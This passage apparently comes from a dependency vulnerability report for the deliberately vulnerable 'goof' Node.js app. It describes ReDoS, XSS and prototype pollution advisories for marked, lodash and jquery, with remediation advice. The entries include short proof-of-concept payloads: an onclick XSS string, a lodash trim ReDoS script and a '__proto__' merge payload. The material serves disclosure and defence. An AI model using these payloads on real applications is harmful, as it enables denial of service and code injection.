The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade marked to version 4.0.10 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A Denial of Service condition could be triggered through exploitation of the heading regex.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade marked to version 0.4.0 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The em regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade marked to version 1.1.1 or higher.

+

References

+ + +
+ + + +
+
+

Cross-site Scripting (XSS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + marked +
  • + +
  • Introduced through: + + goof@1.0.1 and marked@0.3.5 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + marked@0.3.5 + + + +
  • +
+ +
+ +
+ +

Overview

+

marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.

+

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). When mangling is disabled via option mangle, marked doesn't escape target href. This may allow an attacker to inject arbitrary html-event into resulting a tag.

+

For example:

+
var marked = require('marked');
+        marked.setOptions({
+          renderer: new marked.Renderer(),
+          sanitize: true,
+          mangle: false
+        });
+        
+        text = `
+        <bar"onclick="alert('XSS')"@foo>
+        `;
+        
+        console.log(marked(text));
+        
+

will render:

+
<p><a href="mailto:bar"onclick="alert('XSS')"@foo">bar"onclick="alert('XSS')"@foo</a></p>
+        
+

Details

+

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

+

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

+

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

+

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

+

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

+

Types of attacks

+

There are a few methods by which XSS can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginDescription
StoredServerThe malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
ReflectedServerThe attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-basedClientThe attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
MutatedThe attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.
+

Affected environments

+

The following environments are susceptible to an XSS attack:

+
    +
  • Web servers
  • +
  • Application servers
  • +
  • Web application environments
  • +
+

How to prevent

+

This section describes the top best practices designed to specifically protect your code:

+
    +
  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • +
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • +
  • Give users the option to disable client-side scripts.
  • +
  • Redirect invalid requests.
  • +
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • +
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • +
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
  • +
+

Remediation

+

Upgrade marked to version 0.3.9 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + lodash +
  • + +
  • Introduced through: + + goof@1.0.1 and lodash@4.17.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + lodash@4.17.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
+ +
+ +
+ +

Overview

+

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

+

POC

+
var lo = require('lodash');
+        
+        function build_blank (n) {
+        var ret = "1"
+        for (var i = 0; i < n; i++) {
+        ret += " "
+        }
+        
+        return ret + "1";
+        }
+        
+        var s = build_blank(50000)
+        var time0 = Date.now();
+        lo.trim(s)
+        var time_cost0 = Date.now() - time0;
+        console.log("time_cost0: " + time_cost0)
+        
+        var time1 = Date.now();
+        lo.toNumber(s)
+        var time_cost1 = Date.now() - time1;
+        console.log("time_cost1: " + time_cost1)
+        
+        var time2 = Date.now();
+        lo.trimEnd(s)
+        var time_cost2 = Date.now() - time2;
+        console.log("time_cost2: " + time_cost2)
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade lodash to version 4.17.21 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + lodash +
  • + +
  • Introduced through: + + goof@1.0.1 and lodash@4.17.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + lodash@4.17.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
+ +
+ +
+ +

Overview

+

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade lodash to version 4.17.11 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + lodash +
  • + +
  • Introduced through: + + goof@1.0.1 and lodash@4.17.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + lodash@4.17.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

+

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

+

PoC by Olivier Arteau (HoLyVieR)

+
var _= require('lodash');
+        var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
+        
+        var a = {};
+        console.log("Before : " + a.oops);
+        _.merge({}, JSON.parse(malicious_payload));
+        console.log("After : " + a.oops);
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade lodash to version 4.17.5 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + jquery +
  • + +
  • Introduced through: + + goof@1.0.1 and jquery@2.2.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + jquery@2.2.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.

+

Affected versions of this package are vulnerable to Prototype Pollution. The extend function can be tricked into modifying the prototype of Object when the attacker controls part of the structure passed to this function. This can let an attacker add or modify an existing property that will then exist on all objects.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
